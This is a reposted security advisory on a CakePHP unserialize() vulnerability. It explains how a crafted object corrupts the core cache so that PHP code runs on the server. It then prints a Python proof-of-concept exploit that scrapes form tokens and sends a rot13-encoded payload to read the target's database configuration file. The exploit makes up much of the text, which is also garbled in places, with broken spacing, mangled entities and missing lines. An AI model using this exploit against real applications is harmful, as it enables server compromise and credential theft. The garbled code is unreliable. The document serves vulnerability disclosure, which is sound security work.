CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability-vulnerability warning-the black bar safety net

ID MYHACK58:62201128904
Type myhack58
Reporter 佚名
Modified 2011-01-21T00:00:00



Source: <>

CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability

felix |at| malloc. im




"CakePHP is a rapid development framework for PHP that provides an


architecture for developing, maintaining, and deploying applications.


commonly known design patterns like MVC and ORM within the convention over

configuration paradigm, CakePHP reduces development costs and helps


write less code." -

CakePHP is vulnerable to a file inclusion attack because of its use of the

"unserialize()" function on unchecked user input. This makes it possible

to inject arbitary objects into the scope.


CakePHP uses the following function in the Security component

to protect against XSRF attacks with POST Requests:

function _validatePost(&$controller) {

-- snip --

$check = $controller->data;

$token = urldecode($check['_Token']['fields']);

if (strpos($token, ':')) {

list($token, $locked) = explode(':', $token, 2);


$locked = unserialize(str_rot13($locked));

-- snip --

The $check array contains our POST data and $locked is

a simple (rot-1 3 obfuscated) serialized string, which is completely

under our control.

PHP5 introduces a destructor with the "__destruct" method. Each object

will execute its __destruct method at the end of its lifetime and we can

use this to turn an unchecked unserialize() call in an useful exploit.

(See Stefan Essers talk @


for more information)

CakePHP defines the App Class with the following destruct method:

function __destruct() {

if ($this->__cache) {

$core = App::core('cake');

unset($this->__paths[rtrim($core[0], DS)]);

Cache::write('dir_map', array_filter($this->__paths),


Cache::write('file_map', array_filter($this->__map),


Cache::write('object_map', $this->__objects, 'cake_core');



As we can see, this method can be abused by an manipulated object to write

arbitary values into the _cake_core Cache.

The most interesting key to corrupt is the file_map. It provides the

the mapping between Classes and PHP Files and is used to load additional

Classes at runtime.

The real code for the loading of classes is a bit complicated but it all

fairly basic down to the following code in the __load method inside the App


if (file_exists($file)) {

if (!$ this->return) {


$this->__loaded[$file] = true;


return true;

This means we can execute arbitary files on the local filesystem.

CakePHP uses a file based caching system in its standard configuration,

and the cache data is written in serialized form to a known location.

We can use this information to create a create a manipulated App object

that executes our PHP Payload:

$x=new App();


$x->__map=array("Core" => array("Router"

=> "../tmp/cache/persistent/cake_core_file_map"),

"Foo" => "<? phpinfo(); exit(); ?& gt;");



echo serialize($x);


See <> for a working POC exploit.

The PoC also shown below.


This bug was patched in Version 1.3.6 and 1.2.9

!/ usr/bin/python - CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit

written by

This code exploits a unserialize() vulnerability in the CakePHP security

component. See <> for a detailed

analysis of the vulnerability.

The exploit should work against every CakePHP based Application, that

uses POST forms with security tokens and hasn't changed the Cache

configuration (file-system caching is standard). Exploiting

other caching configurations is possible but not as elegant.

This POC will output the database config file of the running CakePHP Application,

other payloads are easily possibe with a changed PHP Code.

from optparse import OptionParser

from urlparse import urlparse,urljoin

import urllib2

import urllib

import re

def request(url,data="",headers={},debug=0):

if (data==""):

request = urllib2. Request(url=url,headers=headers)


request = urllib2. Request(url=url,headers=headers,data=data)

debug_handler = urllib2. HTTPHandler(debuglevel = debug)

opener = urllib2. build_opener(debug_handler)

response=opener. open(request)

return response

if name=="main":

parser = OptionParser(usage="usage: %prog [options] url")

parser. add_option("-p", "--post", dest="post",

help="additional post content as urlencoded string")

parser. add_option("-v", action="store_true", dest="verbose",

help="verbose mode")

(options, args) = parser. parse_args()

if len(args)!= 1:

parser. error("wrong number of arguments")

if options. verbose:




if not options. post:

options. post=""


html=request(url. geturl(),debug=debug ). read()


key=re. search("data\[_Token\]\[key\]\" value=\"(.*?)\"", html). group(1)

path=re. search('method="post" action="(.*?)"', html). group(1)

fields=re. search('data\[_Token\]\[fields\]" value="([0-9a-f]{3 2}).*?"', html). group(1)


print "[x] Regex failed! :("


Add additional POST variables with the-p option, if they are needed for the

Form to be accepted. Example: Croogo Admin Panel Login

if options. post:

options. post="&"+options. post

This is a rot13 "encrypted" serialized CakePHP Object

This object will write 2 values in the cake_core_file_map Cache:

The PHP payload (readfile (....); exit();) and a new value

for the Core/Router entry that shows to the Cache representation

on the filesystem (tmp/cache/persistent_cake_core_filemap).

CakePHP tries to include the Router class and our payload

get's executed ==> Owned. (See the advisory for more details)


':"Pber";n:1:{f:6:"Ebhgre";f:4 2:"../gzc/pnpur/crefvfgrag/pnxr_pber_sv'+\

'yr_znc";}f:3:"Sbb";f:4 9:"<? ernqsvyr(\'../pbasvt/qngnonfr. cuc\'); rkv'+\

'g(); ?& gt;";}f:7:"cnguf";n:0:{}f:9:"bowrpgf";n:0:{}}'

data={ "_method" : "POST", "data[_Token][key]" : key,

"data[_Token][fields]" : fields+payload }

url=urljoin(url. geturl(),path)

We execute the same request twice.

Our manipulated Cache write in the first request will be overwritten by

the legitimate App Object. The second request won't trigger a normal Cache

write again and our payload can get planted.

request(url,urllib. urlencode(data)+options. post,debug=debug). read()

request(url,urllib. urlencode(data)+options. post,debug=debug). read()

print request(url,debug=debug). read()